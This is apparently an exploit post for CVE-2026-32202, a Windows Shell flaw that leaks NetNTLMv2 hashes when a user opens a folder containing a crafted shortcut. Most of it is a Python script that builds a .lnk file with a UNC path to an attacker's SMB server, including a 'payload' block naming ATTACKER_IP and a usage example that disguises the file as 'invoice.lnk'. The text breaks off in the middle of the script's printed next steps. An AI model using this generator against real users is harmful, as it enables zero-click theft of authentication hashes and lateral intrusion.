[remote] Microsoft - NTLMv2 Hash Capture

A spoofing vulnerability (CVE-2026-32202, CVSS 4.3) in Windows Shell allows an attacker to capture NetNTLMv2 hashes via a crafted .lnk file with a malicious UNC path; the hash is sent automatically when a user opens the folder containing the file, requiring no click. Affected versions include Windows 10 21H2 through 22H2, Windows 11 23H2 through 26H1, and Windows Server 2019, 2022, and 2025. The flaw was patched in Microsoft's April 2026 Patch Tuesday updates, with specific fixed build numbers provided for each affected version.

By crafting a malicious .lnk (shortcut) file with a UNC path pointing to an attacker-controlled SMB server, the target's Windows system automatically sends an NTLMv2 authentication request when the folder containing the .lnk file is opened. No click on the shortcut is required – simply viewing the folder triggers the vulnerability. **CVSS**: 4.3 (Medium) – NetNTLMv2 hash leak **Attack Vector**: Network (SMB) **Privileges Required**: None (user only needs to open a folder) **User Interaction**: None (zero-click) **Affected Versions**: - Windows 11 23H2, 24H2, 25H2, 26H1 - Windows 10 21H2-22H2 - Windows Server 2019/2022/2025 **Patch**: Microsoft April 2026 Patch Tuesday (KB2026-04214) STATUS: MEDIUM - HIGH/ Vulnerability [+]Payload: ```POST SMB/CIFS NTLMv2 Authentication Request UNC Path: \\ATTACKER_IP\share\payload.dll Protocol: SMB2 (port 445) Hash Type: NetNTLMv2 ``` [+]Exploit: ``` #!/usr/bin/env python3 """ CVE-2026-32202 LNK Exploit Generator Author: nu11secur1ty Generates LNK file that leaks NTLM hash to Responder/Impacket """ import struct import sys import os def create_malicious_lnk(attacker_ip, output_file="exploit.lnk", share_name="share"): """ Creates LNK file with UNC path to attacker machine """ unc_path = f"\\\\{attacker_ip}\\{share_name}\\test" unc_utf16 = unc_path.encode('utf-16le') + b'\x00\x00' # LNK structure (standard + vulnerable component) lnk = bytearray() # ===== HEADER (76 bytes) ===== lnk.extend(struct.pack('<I', 0x0000004C)) # HeaderSize # LinkCLSID: {00021401-0000-0000-C000-000000000046} lnk.extend(b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46') lnk.extend(struct.pack('<I', 0x000002A3)) # LinkFlags (HasName|HasWorkingDir|HasArguments|IsUnicode) lnk.extend(struct.pack('<I', 0x00000080)) # FileAttributes (NORMAL) lnk.extend(struct.pack('<Q', 0)) # CreationTime lnk.extend(struct.pack('<Q', 0)) # AccessTime lnk.extend(struct.pack('<Q', 0)) # WriteTime lnk.extend(struct.pack('<I', 0x00001000)) # FileSize lnk.extend(struct.pack('<I', 0x00000000)) # IconIndex lnk.extend(struct.pack('<I', 0x00000001)) # ShowCommand (SW_NORMAL) lnk.extend(struct.pack('<H', 0x0000)) # Hotkey lnk.extend(b'\x00\x00') # Reserved lnk.extend(b'\x00\x00\x00\x00') # Reserved2 lnk.extend(b'\x00\x00\x00\x00') # Reserved3 # ===== IDLIST (activates when folder is opened) ===== # Shell Folder IDITEM lnk.extend(b'\x14\x00') # ItemID size (20 bytes) lnk.extend(b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') lnk.extend(b'\x00\x00') # Terminating ID # ===== STRING DATA (CRITICAL FOR EXPLOIT) ===== # NameString (UNC path - triggers NTLM hash leak) lnk.extend(struct.pack('<H', len(unc_utf16))) lnk.extend(unc_utf16) # ArgumentsString (empty) lnk.extend(b'\x00\x00') # WorkingDir (UNC path again) lnk.extend(struct.pack('<H', len(unc_utf16))) lnk.extend(unc_utf16) # ===== Console Properties (required for some Windows versions) ===== lnk.extend(b'\x50\x00\x14\x00') # dwWindowSize (80x20) lnk.extend(b'\x50\x00\xfa\x00') # dwBufferSize (80x250) lnk.extend(b'\x00\x00\x00\x00') # dwFontSize lnk.extend(b'\x00\x00\x00\x00') # dwFontFamily lnk.extend(b'\x00\x00\x00\x00') # dwFaceNameLen lnk.extend(b'\x00\x00\x00\x00') # dwFaceNameOffset lnk.extend(b'\x00\x00\x00\x00') # dwStyle # 64 bytes padding lnk.extend(b'\x00' * 64) # Save the file with open(output_file, 'wb') as f: f.write(lnk) return output_file, unc_path def main(): print(r""" ╔═══════════════════════════════════════════╗ β•‘ CVE-2026-32202 - LNK Generator β•‘ β•‘ Author: nu11secur1ty β•‘ β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β• """) if len(sys.argv) < 2: print("Usage: python3 cve_2026_32202_gen.py <ATTACKER_IP> [output_file]") print("Example: python3 cve_2026_32202_gen.py 192.168.1.100 invoice.lnk") sys.exit(1) attacker_ip = sys.argv[1] output_file = sys.argv[2] if len(sys.argv) > 2 else "exploit.lnk" lnk_file, unc_path = create_malicious_lnk(attacker_ip, output_file) print(f"[+] Exploit ready!") print(f"[+] File: {lnk_file}") print(f"[+] UNC path: {unc_path}") print() print("[*] Next steps:") print(f" 1.
